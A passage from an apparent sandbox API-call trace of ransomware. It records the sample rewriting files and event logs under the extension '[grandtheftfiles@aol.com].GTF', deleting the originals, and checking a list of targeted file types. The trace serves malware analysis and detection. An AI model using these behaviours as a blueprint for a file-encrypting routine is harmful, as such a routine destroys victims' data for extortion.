	[0075.135] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0075.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0075.137] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1
	[0075.137] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.137] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c4a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.147] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.147] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c8a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.153] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.153] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.153] ReadFile (in: hFile=0x36c, lpBuffer=0x3cca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cca058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.179] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.179] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x379fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0075.591] SetEndOfFile (hFile=0x36c) returned 1
	[0075.591] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3f633c0
	[0075.596] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0075.596] WriteFile (in: hFile=0x36c, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0075.597] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0075.598] WriteFile (in: hFile=0x36c, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0075.600] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0075.600] WriteFile (in: hFile=0x36c, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0075.601] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0075.601] CloseHandle (hObject=0x36c) returned 1
	[0076.496] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0076.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.497] lstrlenW (lpString=".doc") returned 4
	[0076.497] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0076.497] lstrlenW (lpString=".docx") returned 5
	[0076.497] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0076.497] lstrlenW (lpString=".pdf") returned 4
	[0076.497] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0076.497] lstrlenW (lpString=".xls") returned 4
	[0076.509] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0076.509] lstrlenW (lpString=".xlsx") returned 5
	[0076.509] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0076.509] lstrlenW (lpString=".ppt") returned 4
	[0076.509] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0076.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.509] lstrlenW (lpString=".zip") returned 4
	[0076.509] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0076.509] lstrlenW (lpString=".rar") returned 4
	[0076.509] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0076.509] lstrlenW (lpString=".bz2") returned 4
	[0076.509] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0076.509] lstrlenW (lpString=".7z") returned 3
	[0076.509] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0076.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.518] lstrlenW (lpString=".dbf") returned 4
	[0076.519] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0076.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.519] lstrlenW (lpString=".1cd") returned 4
	[0076.519] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0076.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.519] lstrlenW (lpString=".jpg") returned 4
	[0076.519] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0076.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.519] lstrlenW (lpString=".doc") returned 4
	[0076.519] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0076.519] lstrlenW (lpString=".docx") returned 5
	[0076.519] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0076.519] lstrlenW (lpString=".pdf") returned 4
	[0076.519] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0076.519] lstrlenW (lpString=".xls") returned 4
	[0076.519] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0076.519] lstrlenW (lpString=".xlsx") returned 5
	[0076.519] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0076.519] lstrlenW (lpString=".ppt") returned 4
	[0076.519] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0076.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.519] lstrlenW (lpString=".zip") returned 4
	[0076.519] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0076.519] lstrlenW (lpString=".rar") returned 4
	[0076.519] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0076.519] lstrlenW (lpString=".bz2") returned 4
	[0076.519] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0076.519] lstrlenW (lpString=".7z") returned 3
	[0076.519] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0076.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.519] lstrlenW (lpString=".dbf") returned 4
	[0076.519] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0076.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.519] lstrlenW (lpString=".1cd") returned 4
	[0076.519] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0076.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0076.520] lstrlenW (lpString=".jpg") returned 4
	[0076.520] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0076.520] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.520] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46
	[0076.520] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.520] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0076.520] CloseHandle (hObject=0x2d4) returned 1
	[0076.520] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20
	[0076.520] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.521] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.521] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.521] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.521] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0076.521] GetLastError () returned 0x0
	[0076.521] ReadFile (in: hFile=0x2d4, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.525] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.527] ReadFile (in: hFile=0x2d4, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.527] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x130, lpOverlapped=0x0) returned 1
	[0076.527] SetEndOfFile (hFile=0x36c) returned 1
	[0076.527] CloseHandle (hObject=0x36c) returned 1
	[0076.530] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.530] SetEndOfFile (hFile=0x2d4) returned 1
	[0076.531] CloseHandle (hObject=0x2d4) returned 1
	[0076.531] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.531] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1
	[0076.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.531] lstrlenW (lpString=".doc") returned 4
	[0076.531] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString=".docx") returned 5
	[0076.532] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.532] lstrlenW (lpString=".pdf") returned 4
	[0076.532] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString=".xls") returned 4
	[0076.532] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString=".xlsx") returned 5
	[0076.532] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.532] lstrlenW (lpString=".ppt") returned 4
	[0076.532] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.532] lstrlenW (lpString=".zip") returned 4
	[0076.532] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString=".rar") returned 4
	[0076.532] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString=".bz2") returned 4
	[0076.532] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString=".7z") returned 3
	[0076.532] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.532] lstrlenW (lpString=".dbf") returned 4
	[0076.532] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.532] lstrlenW (lpString=".1cd") returned 4
	[0076.532] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.532] lstrlenW (lpString=".jpg") returned 4
	[0076.532] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.532] lstrlenW (lpString=".doc") returned 4
	[0076.532] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.532] lstrlenW (lpString=".docx") returned 5
	[0076.532] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.532] lstrlenW (lpString=".pdf") returned 4
	[0076.532] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString=".xls") returned 4
	[0076.533] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString=".xlsx") returned 5
	[0076.533] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.533] lstrlenW (lpString=".ppt") returned 4
	[0076.533] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.533] lstrlenW (lpString=".zip") returned 4
	[0076.533] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString=".rar") returned 4
	[0076.533] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString=".bz2") returned 4
	[0076.533] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString=".7z") returned 3
	[0076.533] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.533] lstrlenW (lpString=".dbf") returned 4
	[0076.533] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.533] lstrlenW (lpString=".1cd") returned 4
	[0076.533] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0076.533] lstrlenW (lpString=".jpg") returned 4
	[0076.533] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.533] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.533] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42
	[0076.533] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.533] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0076.534] CloseHandle (hObject=0x2d4) returned 1
	[0076.534] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20
	[0076.534] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.534] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.534] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.534] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.534] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0076.534] GetLastError () returned 0x0
	[0076.534] ReadFile (in: hFile=0x2d4, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.538] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.540] ReadFile (in: hFile=0x2d4, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.540] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x128, lpOverlapped=0x0) returned 1
	[0076.540] SetEndOfFile (hFile=0x36c) returned 1
	[0076.540] CloseHandle (hObject=0x36c) returned 1
	[0076.542] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.542] SetEndOfFile (hFile=0x2d4) returned 1
	[0076.543] CloseHandle (hObject=0x2d4) returned 1
	[0076.543] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.544] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1
	[0076.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.544] lstrlenW (lpString=".doc") returned 4
	[0076.544] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.544] lstrlenW (lpString=".docx") returned 5
	[0076.544] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.544] lstrlenW (lpString=".pdf") returned 4
	[0076.544] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.544] lstrlenW (lpString=".xls") returned 4
	[0076.544] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.544] lstrlenW (lpString=".xlsx") returned 5
	[0076.544] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.544] lstrlenW (lpString=".ppt") returned 4
	[0076.544] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.544] lstrlenW (lpString=".zip") returned 4
	[0076.544] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.544] lstrlenW (lpString=".rar") returned 4
	[0076.544] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.544] lstrlenW (lpString=".bz2") returned 4
	[0076.544] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.544] lstrlenW (lpString=".7z") returned 3
	[0076.545] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.545] lstrlenW (lpString=".dbf") returned 4
	[0076.545] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.545] lstrlenW (lpString=".1cd") returned 4
	[0076.545] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.545] lstrlenW (lpString=".jpg") returned 4
	[0076.545] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.545] lstrlenW (lpString=".doc") returned 4
	[0076.545] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString=".docx") returned 5
	[0076.545] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.545] lstrlenW (lpString=".pdf") returned 4
	[0076.545] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString=".xls") returned 4
	[0076.545] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString=".xlsx") returned 5
	[0076.545] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.545] lstrlenW (lpString=".ppt") returned 4
	[0076.545] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.545] lstrlenW (lpString=".zip") returned 4
	[0076.545] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString=".rar") returned 4
	[0076.545] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString=".bz2") returned 4
	[0076.545] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString=".7z") returned 3
	[0076.545] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.545] lstrlenW (lpString=".dbf") returned 4
	[0076.545] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.546] lstrlenW (lpString=".1cd") returned 4
	[0076.546] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0076.546] lstrlenW (lpString=".jpg") returned 4
	[0076.546] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.546] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.546] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48
